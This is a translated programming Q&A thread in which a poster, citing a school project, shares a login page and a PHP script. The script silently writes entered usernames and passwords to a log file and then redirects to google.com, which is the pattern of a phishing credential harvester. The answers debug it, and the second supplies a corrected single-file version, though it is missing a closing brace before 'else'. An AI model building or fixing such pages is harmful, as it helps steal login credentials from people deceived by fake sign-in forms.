登录页面的PhP脚本?

时间:2015-07-24 22:03:03

标签: javascript php html css login

我在为我的学校项目登录表单时遇到了麻烦。 您看,我尝试使用PhP脚本创建日志文件,但每次输入示例用户名/密码时,它都会创建一个日志文件,但日志文件为空。 对此有何建议/解决方法?

我的代码:

   <body>
        <div class="form">
    <div class="header"><h2>Sign In</h2></div>
    <div class="login">
    <form action="login.php" method="get">
    <ul>
    <li>
    <span class="un"><i class="fa fa-user"></i></span><input type="text" required class="text" placeholder="User Name Or Email"/></li>
    <li>
    <span class="un"><i class="fa fa-lock"></i></span><input type="password" required class="text" placeholder="User Password"/></li>
    <li>
    <input type="submit" value="LOGIN" class="btn">
    </li>
    <li><div class="span"><span class="ch"><input type="checkbox" id="r"> <label for="r">Remember Me</label> </span> <span class="ch"><a href="#">Forgot Password?</a></span></div></li>
    </ul>
    </form>
    <div class="social">
    <a href="#"><div class="fb"><i class="fa fa-facebook-f"></i> &nbsp; Login With Facebook</div></a>
    <a href="#"><div class="tw"><i class="fa fa-twitter"></i> &nbsp;  Login With Twitter</div></a>
    </div>
    </div><br/>
    <div class="sign">
    <div class="need">Need new account ?</div>
    <div class="up"><a href="">Sign Up</a></div>
    </div>
    </div>
    </body>

**PhP codes**

<?php



header ('Location: http://www.GOOGLE.COM');

$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
 $stringData = "username: " . $_POST['username'] . "\n";
fwrite($fh, $stringData);
$stringData = "password: " . $_POST['password'] . "\n";
fwrite($fh, $stringData);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

2 个答案:

答案 0 :(得分:0)

  1. 为什么header ('Location: http://www.GOOGLE.COM');在代码执行之前?始终将其放在代码的末尾,因为它将运行代码,然后重定向。
  2. 如果要将数据发布到PHP文件,请将method =“GET”更改为method =“POST”。

答案 1 :(得分:0)

没有测试它但应该有用。

问题是:

  1. 在发生任何事情之前重定向
  2. 输入标记中缺少name属性
  3. 错误的表格方法(GET)
  4. $ handle vs. $ fh?
  5. 顺便说一下。怎么样在一个文件中做? Protip:关闭未使用的文件处理程序是一种很好的做法,否则它将在整个请求期间保持打开状态。

    <?php 
    if($_SERVER['REQUEST_METHOD'] == 'POST') {
    
    
        $fh = fopen("log.txt", "a");
        foreach($_POST as $variable => $value) {
            $stringData = "username: " . $_POST['username'] . "\n";
            fwrite($fh, $stringData);
            $stringData = "password: " . $_POST['password'] . "\n";
            fwrite($fh, $stringData);
        } 
        fclose($fh);
    
        header ('Location: http://www.google.com');
    
    else {
    ?>
    <html>
    
        <head>
            ...
        </head>
    
       <body>
    
    
            <div class="form">
                <div class="header"><h2>Sign In</h2></div>
                <div class="login">
                    <form method="POST"> <!-- no need for action attribute, as by default it's current URL -->
                        <ul>
                            <li><span class="un"><i class="fa fa-user"></i></span><input type="text" name="username" class="text" placeholder="User Name Or Email" required/></li>
                            <li><span class="un"><i class="fa fa-lock"></i></span><input type="password" name="password" class="text" placeholder="User Password" required/></li>
                            <li><div class="span"><span class="ch"><input type="checkbox" id="r"> <label for="r">Remember Me</label> </span> <span class="ch"><a href="#">Forgot Password?</a></span></div></li>
                            <li><input type="submit" value="LOGIN" class="btn"></li>
                        </ul>
                    </form>
    
                    <div class="social">
                        <a href="#"><div class="fb"><i class="fa fa-facebook-f"></i> &nbsp; Login With Facebook</div></a>
                        <a href="#"><div class="tw"><i class="fa fa-twitter"></i> &nbsp;  Login With Twitter</div></a>
                    </div>
                </div>
                <br/>
    
                <div class="sign">
                    <div class="need">Need new account ?</div>
                    <div class="up"><a href="">Sign Up</a></div>
                </div>
            </div>
    
        </body>
    </html>
    <?php }?>